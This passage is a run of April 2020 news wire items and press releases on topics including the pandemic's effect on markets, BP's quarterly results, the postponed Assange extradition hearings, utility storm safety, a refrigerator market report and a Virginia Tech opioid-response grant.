Johnson said yesterday that it was too early to relax the lockdown in Britain, while New York state is not expected to reopen for weeks. Some investors are hoping the worst may be over for the world economy as more countries allow businesses to re-open, but others see reasons to remain cautious, especially as a coronavirus vaccine has yet to be developed. Commonwealth Bank of Australia said in a research note today: 'We are less optimistic and expect a slower recovery in the world economy. 'The risk of reintroducing restrictions is a risk to market participants' optimistic outlook for a quick resumption of normal economic activity.' All three major US stock averages advanced yesterday and are all now within 20 per cent of their record closing highs reached in February. A woman wearing a face mask walks past a board at the Hong Kong Stock Exchange today BP posted a 3.5billion net loss in the first quarter as the pandemic crushed demand for oil The benchmark S&P 500 is on track for its best month since 1987, after trillions of stimulus dollars helped US equities claw back much of the ground lost since the coronavirus crisis brought the economy to a grinding halt. Most Asian shares gained small ground overnight, with China rising 0.65 per cent and South Korea up 0.4 per cent - but Japan's markets hardly changed. The US dollar and the euro were little changed as traders refrained from taking big positions before a US Federal Reserve policy decision due tomorrow and a European Central Bank meeting on Thursday. Meanwhile London-based BP's first quarter profits tumbled by two-thirds as the crisis hammered oil demand and its debt rose sharply amid uncertainty ahead. BP said it expected significantly lower refining margins in the second quarter when global restrictions on movement reached their peak, throttling consumption of gasoline, diesel and jet fuel. A spokesman said: 'It is difficult to predict when current supply and demand imbalances will be resolved and what the ultimate impact of Covid-19 will be.' It said oil and gas production faced 'significant uncertainties' linked to plunging oil prices and tumbling demand, as well as due to a deal between OPEC, Russia and other producers to cut global supplies of crude by about 10 per cent. BP reported an underlying replacement cost profit, its definition of net income, of 643million, still beating the 571million forecast by analysts in a company-provided poll. The company reported a 1.9billion profit a year earlier. LONDON (Reuters) - Hearings in the U.S. extradition case against WikiLeaks founder Julian Assange will not go ahead next month as scheduled because of the coronavirus lockdown which prevents lawyers from attending court, a British judge decided on Monday. The 48-year-old is held at London's Belmarsh Prison where he is fighting a request by the United States to send him to stand trial for conspiring to hack government computers and espionage. LONDON (Reuters) - Hearings in the U.S. extradition case against WikiLeaks founder Julian Assange will not go ahead next month as scheduled because of the coronavirus lockdown which prevents lawyers from attending court, a British judge decided on Monday. The 48-year-old is held at London's Belmarsh Prison where he is fighting a request by the United States to send him to stand trial for conspiring to hack government computers and espionage. Assange was dragged from the Ecuador embassy in London last year after a seven-year stand-off. He says he could spend decades in prison if convicted, and calls the case against him political and a threat to free speech. The United States says he put the lives of informants in danger by publishing secrets. In February, hearings took place for a week and the case was adjourned until May 18 for a further three weeks of arguments. However, in the meantime, Britain imposed restrictions to curb the spread of the coronavirus, which have made it difficult to hold normal court proceedings. Judge Vanessa Baraitser told a hearing held by conference call on Monday that the case could not be argued properly as long as lawyers were unable to appear in person. "Remote attendance by the parties in this case will not be appropriate. Mr Assange and the lawyers on both sides will need to be physically present in the courtroom," she said. She adjourned the case until May 4 when a new date will be fixed, noting that the Woolwich Crown Court where hearings last took place had availability for a three-week period only in November. Lawyers for both sides agreed to the delay. Assange's lawyers say the coronavirus lockdown in the prison makes it impossible for them to meet their client. Lawyer Edward Fitzgerald told the judge his legal team had been unable to speak to Assange for a month, bar a few short phone calls. The judge said it was up to the prison to make such conversations possible. To highlight the difficulty of holding the case remotely, much of Monday's hearing was inaudible to journalists who dialled in to listen via a conference call, leading to a court clerk having to repeat Fitzgerald's arguments word by word. Assange and WikiLeaks enraged the U.S. government a decade ago by publishing thousands of secret U.S. documents. Assange's supporters see him as a champion of free speech exposing abuses of power and hypocrisy by Washington. The U.S. authorities say he is wanted not because he embarrassed them but because he endangered informants, dissidents and rights activists in countries including Iraq, Iran and Afghanistan by illegal actions. (Reporting by Michael Holden; Editing by Kate Holton and Peter Graff) This story has not been edited by Firstpost staff and is generated by auto-feed. ATLANTA, April 28, 2020 /PRNewswire/ -- As more severe weather is expected to impact Georgia Wednesday, Georgia Power remains committed to providing its 2.6 million customers safe and reliable service during the COVID-19 pandemic. Wednesday's storm could be the fourth severe weather event in just three weeks and serves as a good reminder to customers that while severe weather can happen at any time, spring is the most active season for severe thunderstorms with lightning, hail and tornadoes. To help customers prepare, Georgia Power offers important safety tips and storm resources: Before a Storm: Stay aware and check the weather forecast before heading outdoors. Check your emergency kit, unplug major appliances and charge cell phones in case you lose power. Stay aware and check the weather forecast before heading outdoors. Check your emergency kit, unplug major appliances and charge cell phones in case you lose power. During a Storm: Take safe shelter inside a sturdy building away from windows and doors. Avoid contact with conductors of electricity - appliances, metal objects and water. Take safe shelter inside a sturdy building away from windows and doors. Avoid contact with conductors of electricity - appliances, metal objects and water. After a Storm: With more residents at home during this time and spending increased time outdoors, be cautious of downed or low-hanging wires, including telephone or TV wires that touch a power line. Never touch or attempt to pull tree limbs off power lines or enter areas with debris or downed trees, as downed power lines may be buried in wreckage. Remote Customer Resources Customers can subscribe to Georgia Power's YouTube Storm Channel for the latest safety videos and can connect with Georgia Power on Facebook and Twitter for helpful information every day, and restoration updates during severe weather. Georgia Power offers the following videos, tools and tips to help customers prepare for severe weather: Outage Alerts Subscribe to the free Georgia Power Outage Alert service to receive personalized notifications and updates via text message. Subscribe to the free Georgia Power Outage Alert service to receive personalized notifications and updates via text message. Outage Maps Customers can follow progress on outages in their town or across the state on the company's outage map available at www.georgiapower.com/storm online or on the Georgia Power mobile app on your smartphone. Customers can follow progress on outages in their town or across the state on the company's outage map available at www.georgiapower.com/storm online or on the Georgia Power mobile app on your smartphone. Georgia Power Mobile App Download the Georgia Power mobile app for Apple and Android devices to access storm and outage information on the go. Storm Response Pandemic Preparations Georgia Power constantly monitors changing weather conditions and is prepared to respond to service interruptions that might occur because of severe weather while taking proactive actions including special "distancing" and other precautions to help protect customers and employees from the spread of the virus. The company's investments in Smart Grid technology and increased automation in recent years mean an increased ability to more quickly isolate outages to smaller numbers of customers and reroute power remotely for improved reliability. In addition, the company's comprehensive pandemic plans help ensure readiness of the critical personnel and facilities necessary to continue providing the safe and reliable energy customers expect and deserve. In the field, the power restoration process includes these key steps: Assessing Conditions Responding crews or in major storms, damage assessment teams work to identify trouble spots and the resources needed to fix them, which could involve coming onto customers' property. Crews will employ appropriate distancing efforts and customers are asked to keep children and pets indoors and maintain safe distances from crew members as well. Responding crews or in major storms, damage assessment teams work to identify trouble spots and the resources needed to fix them, which could involve coming onto customers' property. Crews will employ appropriate distancing efforts and customers are asked to keep children and pets indoors and maintain safe distances from crew members as well. Making Repairs Georgia Power crews focus on repairs that return power to the greatest number of customers in the least amount of time. Ways you can help keep workers safe while they work in the field: If you see utility crews, please stay back a minimum of six feet much more if they are working. Please, no cookies or treats for workers during this time. Give a wave or thumbs up to workers you see. They'll understand your gratitude as they work to keep the lights on. Don't touch utility trucks or equipment. Electric providers are operating under modified conditions to keep workers safe, which includes additional cleaning and sanitation of tools and equipment. Post your appreciation for lineworkers on social media using the hashtag #ThankaLineman. April is lineworkers appreciation month. About Georgia Power Georgia Power is the largest electric subsidiary of Southern Company (NYSE: SO), America's premier energy company. Value, Reliability, Customer Service and Stewardship are the cornerstones of the company's promise to 2.6 million customers in all but four of Georgia's 159 counties. Committed to delivering clean, safe, reliable and affordable energy at rates below the national average, Georgia Power maintains a diverse, innovative generation mix that includes nuclear, coal and natural gas, as well as renewables such as solar, hydroelectric and wind. Georgia Power focuses on delivering world-class service to its customers every day and the company is consistently recognized by J.D. Power and Associates as an industry leader in customer satisfaction. For more information, visit www.GeorgiaPower.com and connect with the company on Facebook (Facebook.com/GeorgiaPower), Twitter (Twitter.com/GeorgiaPower) and Instagram (Instagram.com/ga_power). SOURCE Georgia Power Related Links http://www.georgiapower.com The Co Kildare house in which Dr Tiede Herrema was held hostage in 1975 The Irish President has led tributes following the death of Dutch industrialist Tiede Herrema, who was kidnapped by the IRA in the 1970s. Dr Herrema, who was 99, passed away on April 24, just a week after his wife Elisabeth. Michael D Higgins said the pair, who later accepted Irish citizenship, had a very strong bond with the country. On October 3, 1975, Dr Herrema was kidnapped by IRA members Eddie Gallagher and Marian Coyle and held for ransom for 36 days. The crime made international headlines. The Garda learned of their location and for 18 days there was a siege that also involved the Irish Defence Forces at a house in Monasterevin, Co Kildare. It came to an end when he was released unharmed on November 7 after the IRA members threw their guns out of one of the windows. Both Dr and Mrs Herrema were made honorary citizens after the kidnapping. Joe Brennan, who was deputy to the Irish ambassador at The Hague at the time and was a good friend of the family, paid tribute yesterday. He said: "I had a very long and happy friendship with them. "I was very lucky to have known them and admired them both." The couple had been married for 72 years. "They both had the greatest dignity and courage," added Mr Brennan. Dr Herrema's funeral will take place tomorrow in Arnhem. Mr Higgins paid tribute to the couple, who had made several trips to Ireland and Aras an Uachtarain during their lives. "It is with deep sadness that I have learned of the death of Dr Tiede Herrema, so soon after the death of his beloved wife Elisabeth," the President said. "I had the privilege of meeting Tiede and Elisabeth on many occasions, including at Aras an Uachtarain during their regular trips to Ireland." He said that Dr Herrema had endured a "traumatic" kidnapping but held no grudges towards his captors. "Dr Herrema, who had endured such a traumatic kidnapping, harboured no bitterness towards his abductors and had maintained a very strong bond with Ireland. "Both he and Elisabeth accepted honorary Irish citizenship. "They will be missed, and fondly remembered by their many friends in Ireland. Sabina and I send our deepest condolences to their four sons, wider family and friends." Kevin Kelly, Ireland's ambassador to the Netherlands, said on Twitter: "We are deeply saddened by news of the passing of our dear friend and fellow citizen Dr Tiede Herrema. And so soon after the passing of his beloved Elisabeth. "Tiede and Elisabeth showed through words and deeds what true humanity and forgiveness look like." The Netherlands' embassy in Ireland tweeted: "Echoing the sentiments expressed by President Higgins on the sad passing of Dr Tiede Herrema, so soon after his wife's death. "Sincere sympathies to the family and friends and hoping they find some solace in their resting place together." For more than a month, governors in a vast majority of states have urged people to stay indoors and away from one another, critical measures needed to slow the spread of the coronavirus. But as the lockdowns drag on, the weather gets warmer and some states move to reopen, researchers at the University of Maryland have found that more people across the country are going outside, that they are doing so more frequently and that they are travelling longer distances. The changes in behaviour, tracked using cellphone location data, have been measured in the past two weeks and can be seen in all but three states. Starting in mid-March, when most stay-at-home orders were announced, fewer people went out and people also made less frequent trips, according to the research. For weeks, the numbers held steady. Then, starting April 14, the data showed people increasingly going out, a trend that continued through Friday, said Lei Zhang, director of the Maryland Transportation Institute at the University of Maryland, College Park, which is leading the research. In Texas, for example, 25 per cent of people stayed home on April 24, the most recent day for which data was available, compared with 29 per cent on April 10, two weeks earlier. In Ohio, people took 3.2 trips, on average, on April 24, up from an average of 2.8 trips two weeks before. In Louisiana, people travelled an average of 31.1 miles, up from 24.7. The research suggests that people are growing increasingly restless, Zhang said. It also suggests people are increasing the chances that they will interact with others and possibly spread the virus. Zhang called the phenomenon quarantine fatigue. It just seems that people are getting a little tired collectively of staying at home after we passed that one-month mark, he said. The phenomenon appeared to be on display this past weekend, as throngs of people packed beaches in Southern California on a hot Saturday despite pleas from public officials to consider staying indoors. In New York on Saturday, warmer, sunnier weather drew crowds to the citys parks. Zhang said it was theoretically possible that people were going outside more while still maintaining the recommended six feet of distance from others and taking other precautions, such as wearing masks and gloves. But he cited news reports about people congregating at beaches and in parks as evidence that social distancing was not always happening. It becomes harder to follow social-distancing guidelines, he said, when people go out more and go to more places and stay there longer. The findings may be particularly troubling in the United States, the country hardest hit by the coronavirus pandemic. The number of known cases in the country has surpassed 977,200, with more than 50,100 deaths. Experts have cautioned that there will be no imminent return to normalcy and that a return to communal life will most likely come in stages. Without adherence to social distancing, the virus could surge anew, experts have warned. A few states have moved in recent days to gradually reopen parts of their economies, but most Americans are still being urged to stay home. The research also seems to run counter to polls, which suggest that a majority of Americans support the restrictions that governors and local officials have imposed. I think people feel the obligation to do it even though they are not doing it as much as they are reporting they are, Zhang said. There also appear to be signs of small changes in attitude among some Americans toward social-distancing measures, according to some polls. According to a Gallup poll conducted the week of April 13, 62 per cent of adults surveyed said it was very likely that they would stay home for a month if public health officials recommended doing so based on an outbreak in their community. That number was down from a high of 67 per cent in the week of March 30. Similarly, a Gallup poll conducted the week of April 20 found that 59 per cent of respondents said they had practiced social distancing in the previous 24 hours. That was down from 65 per cent in the week of April 6. The Maryland Transportation Institutes research is based on anonymized cellphone location data that is updated daily. A trip is counted if the end point is more than a mile from the persons home and he or she stays there for more than 10 minutes, Zhang said. That way, the research does not pick up people who are just checking the mail, going for a jog or walking the dog. Researchers created a measure that they call a social-distancing index by combining a number of other metrics using the cellphone data: the percentage of people in a state or county who are staying home, the number of trips per person per day, the distance of those trips and the number of trips taken beyond county or state borders. Overall, we try to measure the opportunity that people can interact with each other and give more chances for viruses to be passed on from one to another, Zhang said. He said researchers recorded recent increases in the number, frequency or distance of peoples trips outside the home in every state except Massachusetts, Rhode Island and Wyoming. Louisiana, Ohio, Texas and Vermont were among the states where the largest increases were measured, he said. The research, Zhang said, suggests that state and local governments need to improve their messaging about their stay-at-home orders. The moment people start seeing the curves flattening, the number of cases start dropping or holding steady, he said, that gives people a false sense of safety. UTRECHT, The Netherlands, April 28, 2020 /PRNewswire/ -- Ultimaker, the global leader in desktop 3D printing, today announced the launch of its new podcast series, "Talking Additive." The first season of "Talking Additive" features guests from Ultimaker's network of partners, customers and allies, including decision makers from leading manufacturing companies, third-party Materials Alliance partners and Ultimaker. Ultimaker's "Talking Additive" provides an interactive avenue to explore the impact of adopting additive manufacturing. The podcast, hosted by Matt Griffin, Director of Community Development at Ultimaker North America, aims to uncover new details about the evolving paradigm for the future of manufacturing, engineering and design through stories and experience from top innovators from around the globe. Now available, the first three "Talking Additive" episodes feature: Matthew Forrester , Additive Manufacturing Technical Manager, L'Oreal Ultimaker virtually visits the L'Oreal headquarters in Clichy, France to discuss the three stages of adopting additive manufacturing: Prototyping, Plants, Production. Ultimaker virtually visits the L'Oreal headquarters in Clichy, to discuss the three stages of adopting additive manufacturing: Prototyping, Plants, Production. Danielle Glasbergen-Benning , Application Development Specialist, DSM Additive Manufacturing Glasbergen-Benning explains the process for translating application needs into material solutions, with insights into recent cutting-edge projects made possible by their portfolio of materials available for open platform professional 3D printers. Glasbergen-Benning explains the process for translating application needs into material solutions, with insights into recent cutting-edge projects made possible by their portfolio of materials available for open platform professional 3D printers. Paul Heiden , Senior Vice President of Product Management, Merijn Neeleman, Portfolio Development Manager, and Rohit Jhamb , Director Global Research & Analytics, Ultimakerthree Ultimaker experts dive into the role of additive manufacturing in LEAN manufacturing, digital distributed manufacturing, the future of supply chain and how production processes are already changing for those adopting 3D printing in their product development and fulfillment pipelines. "We are thrilled to launch 'Talking Additive' and are excited to provide a new channel for insight into 3D printing's positive impact on businesses around the world," said Nuno Campos, Chief Marketing Officer at Ultimaker. "Our new podcast is meant to celebrate success stories and share knowledge about all relevant aspects of 3D Printing, across hardware, software and materials. It provides a rich resource for those who are looking to increase efficiency and build a distributed manufacturing model with 3D printing. 'Talking Additive' is an exciting way to connect with customers and partners as we navigate a time where traveling to tradeshows and one-on-one interactions are challenging." Following the initial launch, Ultimaker will release one new "Talking Additive" episode on a bi-weekly basis. Listeners will have access to each episode on the Talking Additive website, as well as on various podcast platforms, including Spotify, Google Podcasts and Stitcher. To learn more about Ultimaker's new podcast and to subscribe to "Talking Additive," please visit talkingadditive.com. About Ultimaker Since 2011, Ultimaker has built an open and easy-to-use solution of 3D printers, software and materials that enable professional designers and engineers to innovate every day. Today, Ultimaker is the market leader in desktop 3D printing. From offices in the Netherlands, New York, Boston, and Singapore plus production facilities in Europa and the US its global team of over 400 employees work together to accelerate the world's transition to digital distribution and local manufacturing. Ultimaker.com Media Contact Global Moniek Jansink +31 (0)6 153 862 37 [email protected] SOURCE Ultimaker Related Links https://ultimaker.com North Korean leader Kim Jong-un 'alive and well:' South Korea Iran Press TV Monday, 27 April 2020 6:06 AM North Korean leader Kim Jong-un is "alive and well," according to a top security adviser to South Korean President Moon Jae-in. Moon's special adviser on national security, Moon Chung-in, said on Sunday that the North's leader was in good health, days after Kim missed a key event, raising speculation about his death and replacement by his sister. "Kim Jong-un is alive and well," Moon said in an interview with CNN. On Saturday, the US-based monitoring project 38 North said in a report that satellite images showed a special train probably belonging to Kim parked at a coastal resort town in the east of the country. It said the 250-meter-long train had been spotted at the "leadership station" in the Wonsan resort area on April 21 and 23, adding that the station was specifically reserved for the use of the Kim family. The South Korean national security adviser said that it had been a fortnight since Kim had arrived at the Wonsan resort and "no suspicious movements have so far been detected." Kim has not made a public appearance since April 11. Speculation about his death emerged especially after his absence from the April 15 celebrations for the birthday of his grandfather and North Korea's founder Kim Il-sung. Since then, a series of unconfirmed media reports about his condition have emerged. Daily NK, an online media outlet run by North Korean defectors, reported that Kim had undergone a cardiovascular surgery. The outlet cited an unidentified source inside North Korea as saying that the 36-year-old Kim had needed surgery due to obesity and heavy smoking. Soon after that report, CNN cited an unnamed source as saying that Washington was monitoring the reports about Kim's health, who was said to be in grave danger after an earlier surgery. South Korean media also reported last week that Kim might have undergone cardiovascular surgery or was in isolation to avoid exposure to the new coronavirus. Separately on Sunday, South Korea's Unification Minister Kim Yeon-chul, who oversees engagement with the North, cautioned about such reports. He said Seoul had the intelligence capabilities to say with confidence that there was no indication of anything unusual going on in North Korea. Minister Kim also dismissed reports of a cardiovascular surgery on the grounds that North Korea allegedly did not have the capabilities to conduct such an operation. This is while Reuters reported on Friday that China had dispatched a team of medical experts to North Korea to advise on Kim. Nevertheless, yet another South Korean official, Yoon Sang-hyun, who is the chairman of the foreign and unification committee in South Korea's National Assembly, again cited Kim's absence from the public eye to insinuate that he was "either sick or being isolated." North Korea has not officially reported any cases of infection with the new coronavirus. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The Gautam Buddh Nagar administration has made arrangements of free cab service for people who need to travel to Delhi for special medications like dialysis or cancer treatment amid the lockdown imposed to control the spread of coronavirus, according to officials. The administration has tied up with cab aggregator Uber for the "non-emergency" service which could be availed through the helpline number -- 18004192211, the officials said. Those wanting to avail the service will require to produce documents like prescription and proof of treatment and have been suggested to apply for the service a day in advance to avoid hassle, senior officials said. The development comes amid reports of some patients facing difficulties in obtaining a special pass to cross the Noida-Delhi border, which was sealed on April 21 in a bid to check spread of coronavirus. "For patients who need special treatment like dialysis, cancer treatment etc in Delhi/Noida/GBN, we have started an admin-Uber transport service free of charge. Pls call : 18004192211, opt1 They will verify the medical docs online and send the transport Pls book one day in advance(sic)," District Magistrate Suhas L Y tweeted on Monday. According to district officials, this service is only for "non-emergency" cases, while for the emergencies, the residents can avail ambulances like usual. The Gautam Buddh Nagar administration had banned the movement of people between Noida and Delhi, except for media, doctors working in Noida or Greater Noida, those involved in COVID-19-related services and goods transportation, from the night of April 21. The decision was taken on the basis of a report by the health department here, which stated that several people who tested positive for coronavirus had links to Delhi, an official order stated. "It is clear from the report of the Health Department that there is a possibility of infection from people travelling between Delhi and Gautam Buddh Nagar. Hence, in larger public interest, movement between Delhi and Gautam Buddh Nagar is being completely banned until further orders," DM Suhas had said in an order. Gautam Buddh Nagar in western UP is one of the worst-hit districts in the state and has so far recorded 129 positive cases of coronavirus, even as 71 patients have recovered and have been discharged from hospitals, according to official figures. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Indian Energy Exchange (IEX) is reportedly considering a 15 percent stake, worth Rs 150 crore, in Reliance ADAGs Indian Commodity Exchange (ICEX). ICEX is likely to offer new shares for the deal and shareholders, including Reliance Exchangenext, IndiaBulls Housing Finance, Indian Potash and MMTC, will see their shareholding percentage reduce, sources told Business Standard. Moneycontrol could not independently verify the report. ICEX offers futures in commodities such as basmati paddy, rubber and diamonds, while IEX is an electronic power trading platform regulated by the Central Electricity Regulatory Commission (CERC). Sources said talks were in advanced stage but regulatory hurdles would take time to sort out. Since IEX is not yet classified as a stock exchange, legally it can initially buy only 5 percent stake in another exchange, the newspaper reported. The biggest hurdle would be the approval from the Securities and Exchange Board of India (SEBI), it added. Teams from IEX and ICEX had met SEBI officials and the regulator had assured they will consider the issue, sources said An ICEX spokesperson refused to comment as per the report, while an IEX spokesperson said business dealings would be apprised of via the stock exchanges. The deal had been long in the works as ICEX planned to build a net worth of at least Rs 100 crore minimum,sources said. It was looking to enter the electricity futures segment. If the deal comes through, another Rs 50 crore would be invested for market development and new product launches. Key companies covered in the Refrigerator Market Research Report are Hitachi, Haier, Whirlpool, L.G., Samsung, Intex, Voltas, Electrolux, Panasonic, Sharp, Toshiba, Godrej, and more players Pune, April 28, 2020 (GLOBE NEWSWIRE) -- The global refrigerator market size is anticipated to gain traction from the rising number of bars and ice cream parlors worldwide. Besides, the increasing consumption of processed and frozen food items would affect the market positively. This information is published by Fortune Business Insights in a recent report, titled, Refrigerator Market Size, Share & Industry Analysis, By Product Type (Top Freezer Refrigerator, Bottom Freezer Refrigerator, Side by Side Refrigerator, and French Door Refrigerator), By Distribution Channel (Online and Offline), and Regional Forecast, 2019-2026. The report further states that the refrigerator market size was USD 64.17 billion in 2018 and is projected to reach USD 103.95 billion by 2026, exhibiting a CAGR of 6.3% during the forecast period. Worldwide COVID-19 Impact Analysis: The emergence of COVID-19 has brought the world to a standstill. We understand that this health crisis has brought an unprecedented impact on businesses across industries. However, this, too, shall pass. Rising support from governments and several companies can help in the fight against this highly contagious disease. Some industries are struggling, and some are thriving. Overall, almost every sector is anticipated to be impacted by the pandemic. We are making continuous efforts to help your business sustain and grow during COVID-19 pandemics. Based on our experience and expertise, we will offer you an impact analysis of coronavirus outbreak across industries to help you prepare for the future. Request a Sample PDF Brochure with Short-Term and Long-Term Impact of COVID-19 on Refrigerator Market, Please Visit: https://www.fortunebusinessinsights.com/enquiry/covid19-impact/refrigerator-market-102686 Story continues This Report Answers the Following Questions: What are the refrigerator market trends? How many growth drivers and hindrances would the market come across? Which strategies would the key companies adopt to intensify competition? What are the significant challenges and opportunities? Which region is likely to dominate the market in terms of revenue? Drivers & Restraints: Rising Government Initiatives to Provide Environmental Sustainability will Aid Growth The governments of various countries across the world are implementing new policies to lower the energy consumption of home appliances. These policies are meant to support the adoption and manufacturing of energy-efficient appliances, as well as provide environmental sustainability. Additionally, they are taking various initiatives to upsurge and promote the capability and manufacturing of electronic products. Make in India is one such campaign that is likely to propel the supply of home appliances in India. Apart from that, many incentive schemes, such as vouchers, discounts, and coupons are being persistently made available by these campaigns. These are also attracting consumers towards buying refrigerators. However, lack of repairing services for these products may hamper the refrigerator market growth in the coming years. Browse In-depth Summary of this Research Report with TOC: https://www.fortunebusinessinsights.com/refrigerator-market-102686 Segmentation: Top Freezer Refrigerator Segment to Lead Backed by its Possession of Many Benefits In terms of product type, the market is segregated into French door, side by side , bottom freezer, and top freezer. Out of these, the top freezer refrigerator segment is set to dominate the market backed by its possession of several features. They are made by combining a refrigerator and a freezer in a single unit. This aids in avoiding the requirement of a separate chest freezer or separate space for food storage. Also, this type of freezers offers more storage space, as compared to the other types of units. The segment acquired 37.31% refrigerator market share in 2018 and would lead throughout the forecast period. Competitive Landscape: Key Players Focus on Mergers & Acquisitions to Strengthen Position The market house several big, small, and medium companies that are striving persistently to gain the maximum share. They are doing so either by expanding their bases or by following the strategy of mergers and acquisitions. Fortune Business Insights profiled top companies that are operating in the refrigerator market. They are as follows: Hitachi Haier Whirlpool L.G. Samsung Intex Voltas Electrolux Panasonic Sharp Toshiba Godrej Quick Buy - Refrigerator Market Research Report: https://www.fortunebusinessinsights.com/checkout-page/102686 Regional Analysis: Asia Pacific to Dominate Fueled by Rising Disposable Income of People Geographically, the market is categorized into North America, Europe, South America, the Middle East and Africa, and Asia Pacific. Amongst these, Asia Pacific procured USD 24.67 billion refrigerator market revenue in 2018 and is likely to dominate because of the rising demand for infrastructure in this region. In addition to that, the rising number of households, rapid urbanization, increasing disposable income, and inclination of people from conventional to smart appliances are set to surge the demand for refrigerators in this region. Europe, on the other hand, is anticipated to grow at a fast pace owing to the emergence of technologically advanced refrigerators developed by industry giants present in this region. It would, in turn, attract more consumers. North America is likely to generate a significant share soon on account of the increasing disposable income of people residing in Canada and the U.S. Also, factors, namely, rising number of nuclear families and increasing urban population would contribute to market growth. Detailed Table of Content: Introduction Research Scope Market Segmentation Research Methodology Definitions and Assumptions Executive Summary Market Dynamics Market Drivers Market Restraints Market Opportunities Emerging Trends Key Insights Overview of the Parent/Related Markets Industry SWOT Analysis Supply Chain and Regulatory Analysis Recent Industry Developments - Policies, Partnerships, New Product Launches, and Mergers & Acquisitions Global Refrigerator Market Analysis, Insights and Forecast, 2015-2026 Key Findings / Summary Market Size Estimates and Forecast By Product Type (Value) Top Freezer Refrigerator Bottom Freezer Refrigerator Side by Side Refrigerator French Door Refrigerator By Distribution Channel (Value) Online Offline By Region (Value) North America Europe Asia Pacific South America Middle East & Africa TOC Continued! Get your Customized Research Report: https://www.fortunebusinessinsights.com/enquiry/customization/refrigerator-market-102686 Below are a few of the industry developments: March 2019 : Gorenje is planning to widen its base of fridge and freezer production in Serbia. This new extension would help in taking the total production capacity to 750,000 units by the end of 2020. The total cost of expansion is 4 million euro. November 2018: Daikin Industries Ltd. announced the acquisition of the AHT group. The latter is a prominent commercial refrigerator company headquartered in Europe. This acquisition would aid the former in broadening its business in Europe and capitalizing on the environmental regulations. About Us: Fortune Business Insights offers expert corporate analysis and accurate data, helping organizations of all sizes make timely decisions. We tailor innovative solutions for our clients, assisting them address challenges distinct to their businesses. Our goal is to empower our clients with holistic market intelligence, giving a granular overview of the market they are operating in. Our reports contain a unique mix of tangible insights and qualitative analysis to help companies achieve sustainable growth. Our team of experienced analysts and consultants use industry-leading research tools and techniques to compile comprehensive market studies, interspersed with relevant data. At Fortune Business Insights, we aim at highlighting the most lucrative growth opportunities for our clients. We therefore offer recommendations, making it easier for them to navigate through technological and market-related changes. Our consulting services are designed to help organizations identify hidden opportunities and understand prevailing competitive challenges. Contact Us: Fortune Business Insights Pvt. Ltd. 308, Supreme Headquarters, Survey No. 36, Baner, Pune-Bangalore Highway, Pune - 411045, Maharashtra, India. Phone: US: +1 424 253 0390 UK: +44 2071 939123 APAC: +91 744 740 1245 Email: sales@fortunebusinessinsights.com Fortune Business Insights Linkedin | Twitter | BLogs Read Press Release: https://www.fortunebusinessinsights.com/press-release/refrigerator-market-9828 Keep people alive. Refer them to those who save lives. Finally, connect them to effective, peer-based treatment. These are the objectives of Connection 2 Care (C2C), an innovative collaboration led by Virginia Tech researchers that aims to address the opioid crisis in the Roanoke Valley. Through community partnerships and grassroots engagement efforts, C2C plans to facilitate peer-to-peer counseling and distribute backpack kits containing life-saving resources to those most at risk of opioid overdoses. In support of these initiatives, C2C recently received a competitive grant of almost $300,000 through the Combating Opioid Overdose Through Community-level Intervention initiative. Funded by the National Office of Drug Control Policy, the program is managed by the University of Baltimore's Center for Drug Policy and Enforcement. Co-principal investigators Mary Beth Dunkenberger and Kimberly Horn of Virginia Tech lead the project. Dunkenberger is the associate director of the Institute for Policy and Governance (IPG) in the School for Public and International Affairs. Horn, a scientist and research professor with the Fralin Biomedical Research Institute at Virginia Tech Carilion, is the founding co-chair of the Roanoke Valley Collective Response, along with Bradley Free Clinic Executive Director Janine Underwood. A seed grant from the university's Vibrant Virginia program helped propel the C2C concept. This initial funding fostered a partnership with the Roanoke Valley Collective Response. The Roanoke Valley Collective Response to the Opioid Addiction Crisis was launched in September 2018. It includes 250 stakeholders across the Roanoke area and represents 120 organizations, including law enforcement, emergency responders, business leaders, public health experts, and those within the area's medical infrastructure. Much of its work is accomplished through five thematic working groups: prevention, treatment, crisis response, recovery, and child and family support services. The C2C grant funds strategies developed through the third working group, crisis response. The seed grant fostered engagement with and support for the work of the Collective Response through policy analysis and identification of gaps in substance use disorder services and resources." Mary Beth Dunkenberger, Virginia Tech And the community has been hit hard. The Roanoke Metropolitan Statistical Area was designated a High Impact Drug Trafficking Area by the White House Office on National Drug Control Policy. It is also recognized as a "Comprehensive Harm Reduction Locality" by the Virginia Department of Health. Grant collaborators stress that addressing what factors spurred the crisis in the Roanoke Valley will be key to its success. Using previous research, the crisis response group identified three touchpoints where individuals are most at risk of dying from an overdose: they are in active drug use, they are re-entering the community after incarceration, or they have recently left a residential treatment program. The grant funds crisis response where direct human contact at these touchpoints will be possible. Key partners in that fight are the HOPE Initiative, Bradley Free Clinic, and the Virginia Harm Reduction Coalition (VHRC). Both HOPE and the VHRC will provide peer counselors who understand the lived experience and challenges of at-risk individuals and can recognize when they are most motivated to pursue recovery and treatment. Carilion Clinic Emergency Department, Roanoke City EMS, and Western Regional Jail will also distribute 300 C2C assistive backpack kits when direct contact occurs. Dunkenberger noted that the backpacks are a way to physically connect with a vulnerable, hard-to-reach population. In addition to providing life-saving medication at the most crucial point -- 70 percent of overdoses are reversed by a peer who is present -- she said the backpacks communicate a crucial message to the recipient: "We want you to survive, and we want to connect you to services." Prototypes of the backpacks, stocked with Naloxone, basic living supplies, and durable referral information cards, were produced by College of Architecture and Urban Studies students with guidance by industrial design program chair Akshay Sharma and Assistant Professor Elham Morshedzadeh. Designed particularly for at-risk individuals who are housing insecure, the grant will also support backpack distribution by peer recovery specialists. Although the project team will initially rely on standard off-the-shelf backpacks, C2C hopes to obtain additional funding to manufacture and broadly field test the prototypes. Ultimately, researchers will evaluate the success of this particular intervention in saving lives. "Connection 2 Care is a stellar example of what can happen as a result of people getting out of their silos and working together in innovative ways," said Horn. "We hope this pilot study will give us information that can be used to increase referrals for people at risk and achieve harm reduction, at a minimum. It may also inform area-wide infrastructure changes that improve the often fragmented pathways to treatment." Dunkenberger also noted the grant's focus on long-term success strategies and the creation of sustainable processes. "We hope the C2C pilot will establish an enduring way to connect those most at risk of overdose to harm reduction and treatment services," she said. "Coupling the applied intervention with robust outcome and process evaluation enables sustainability and ongoing innovation." In addition to Horn's contribution as the lead evaluator, the Center for Public Health Practice and Research, housed in the Department of Population Health Sciences within the Virginia-Maryland College of Veterinary Medicine, is also represented by Director Kathy Hosig and Associate Director Sophie Wenzel, both of whom also serve as co-principal investigators on the project. Other university partners include the Center for Biostatistics and Health Data Science in the College of 